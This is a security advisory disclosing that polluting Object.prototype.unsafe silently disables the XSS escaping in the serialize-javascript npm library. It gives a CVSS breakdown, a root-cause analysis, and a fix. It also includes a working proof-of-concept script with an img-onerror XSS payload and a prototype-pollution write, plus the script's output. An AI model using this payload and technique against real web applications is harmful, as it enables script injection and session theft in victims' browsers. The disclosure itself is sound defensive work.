Security Advisory: Prototype pollution of `Object.prototype.unsafe` silently disables serialize-javascript's documented automatic XSS escaping

[waydeshi]

Summary

Attribute	Value
Vendor / Org	Yahoo
Product	serialize-javascript
Component	index.js — serialize() option reads
Affected Versions	>= 1.5.0, <= 7.1.1 (all releases exposing options.unsafe)
Severity	Medium
CVSS 3.1 Score	6.9
CVSS 3.1 Vector	CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
CWE	CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes), chained to CWE-79
Affected File	index.js:214, index.js:278 (option reads); index.js:123 (default)

---

CVSS 3.1 Breakdown

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N — Score: 6.9 (Medium)

Metric	Value	Justification (from the PoC)
Attack Vector (AV)	N	Payload arrives over the network as serialized data embedded into an HTML response.
Attack Complexity (AC)	H	Exploitation depends on a condition beyond the attacker's control: a separate in-process prototype-pollution gadget must already be reachable to set Object.prototype.unsafe.
Privileges Required (PR)	N	No authentication needed to submit the polluting payload or the XSS string.
User Interaction (UI)	R	A victim must load the page that embeds the unescaped output.
Scope (S)	C	The serializer's escaping component is subverted; impact lands in the victim's browser security context (a different authority).
Confidentiality (C)	H	Resulting XSS can read cookies/DOM/session in the victim origin.
Integrity (I)	L	Script can modify page content within the victim origin.
Availability (A)	N	No availability impact demonstrated.

---

Description

Improper prototype-attribute control in the option handling of Yahoo serialize-javascript >= 1.5.0, <= 7.1.1 allows a remote attacker who can pollute Object.prototype to disable the library's automatic HTML/XSS escaping and inject script into consumer pages via a serialized string value.

serialize-javascript documents a security guarantee: "HTML characters and JavaScript line
terminators are escaped automatically" so output is safe as the content of a <script>
element. That escaping is gated by options.unsafe !== true, and options is a plain
object inheriting from Object.prototype. When any prototype-pollution gadget in the same
process sets Object.prototype.unsafe = true, every serialize() call — including calls
that pass no options at all — reads the inherited unsafe value as true and skips
escaping, emitting attacker-controlled markup verbatim.

Security consequence (so-what): a generic, data-only prototype-pollution primitive is
escalated into stored/reflected XSS in every browser that renders the serialized output,
because the library's own documented XSS defense is silently turned off.

---

Root Cause

options defaults to an ordinary object and the security-relevant flags are read as plain
(inherited) property accesses with no hasOwnProperty check:

options || (options = {});                                     // index.js:123
...
if (options && options.unsafe !== true) {                      // index.js:214
    serializedFn = escapeFunctionBody(serializedFn);
}
...
if (options.unsafe !== true) {                                 // index.js:278
    str = str.replace(UNSAFE_CHARS_REGEXP, escapeUnsafeChars);
}

Because options.unsafe resolves through the prototype chain, a polluted
Object.prototype.unsafe is indistinguishable from an explicit {unsafe:true}. The
escaping at line 278/279 (the documented guarantee) is therefore skipped.

---

Reproduction Environment

Item	Value
Runtime	Node.js v26.5.0
serialize-javascript	7.1.1 (installed from npm registry)
OS	macOS (darwin 25.6.0)
Build tool	npm

---

Proof of Concept

POC Source Code

package.json

{
  "name": "sjs-cve-poc",
  "version": "1.0.0",
  "private": true,
  "dependencies": {
    "serialize-javascript": "7.1.1"
  }
}

poc04_proto_pollution_xss.js

// PoC #4 — a prototype-pollution gadget elsewhere in the process silently disables the
// README's documented automatic XSS escaping for EVERY serialize() call.
const serialize = require('serialize-javascript');

const payload = { bio: '</script><img src=x onerror=alert(1)>' };

// --- control baseline: default behavior escapes (documented guarantee) ---
console.log('BEFORE pollution:', serialize(payload));

// --- generic prototype-pollution gadget (data-only write reached via any PP sink) ---
Object.prototype.unsafe = true;

// --- same call, no options passed -> escaping is now silently OFF ---
const out = serialize(payload);
console.log('AFTER  pollution:', out);

const escaped = !out.includes('</script>');
console.log('still escaped?', escaped, '=> XSS payload emitted verbatim:', !escaped);
delete Object.prototype.unsafe;

Execution Steps

1. mkdir poc && cd poc
2. Save the package.json above, then npm install (pulls serialize-javascript@7.1.1).
3. Save the source above as poc04_proto_pollution_xss.js.
4. node poc04_proto_pollution_xss.js

Actual Execution Evidence

BEFORE pollution: {"bio":"\u003C\u002Fscript\u003E\u003Cimg src=x onerror=alert(1)\u003E"}
AFTER  pollution: {"bio":"</script><img src=x onerror=alert(1)>"}
still escaped? false => XSS payload emitted verbatim: true

Analysis of Results

The control baseline (BEFORE) proves the library normally honours its documented
guarantee: <, >, / are emitted as \u003C, \u003E, \u002F. The only change
between the two calls is a single write to Object.prototype.unsafe; the serialize call
itself passes no options. Yet AFTER, the output contains a literal </script> closing
the inline script element followed by an executable <img onerror> — a working XSS payload.
Causality is therefore isolated to the inherited-property read at index.js:278.

---

Impact

Any application that (a) uses serialize-javascript to embed state into HTML relying on the
documented auto-escaping, and (b) has any prototype-pollution gadget reachable in the same
process, is exposed to XSS in every rendered page — even for serialize calls that never opt
into unsafe. This converts a data-only pollution write into browser-side code execution
in the consumer's origin.

---

Remediation

Recommended Fix

Read the security-relevant options as own properties and default to a null-prototype
object, so a polluted prototype cannot flip them:

options = (typeof options === 'object' && options) ? options : Object.create(null);
var unsafe = Object.prototype.hasOwnProperty.call(options, 'unsafe') && options.unsafe === true;

Use the local unsafe at lines 214/278. This restores the README guarantee ("HTML
characters and JavaScript line terminators are escaped automatically") for every caller
that does not explicitly pass {unsafe:true} as an own property — a maintainer-owned
change, not caller advice.

Workaround

Consumers can freeze/guard Object.prototype (e.g. run under a prototype-pollution
mitigation), or explicitly pass {unsafe:false} as an own property on every call.

---

References

• Affected source: index.js:214, index.js:278, index.js:123 in yahoo/serialize-javascript v7.1.1.
• CWE-1321: https://cwe.mitre.org/data/definitions/1321.html
• CWE-79: https://cwe.mitre.org/data/definitions/79.html
• Distinct from prior serialize-javascript XSS advisories (GHSA-h9rv-jmmf-4pgx, GHSA-76p7-773f-r4q5) which concerned value escaping, not prototype-pollution of the unsafe gate.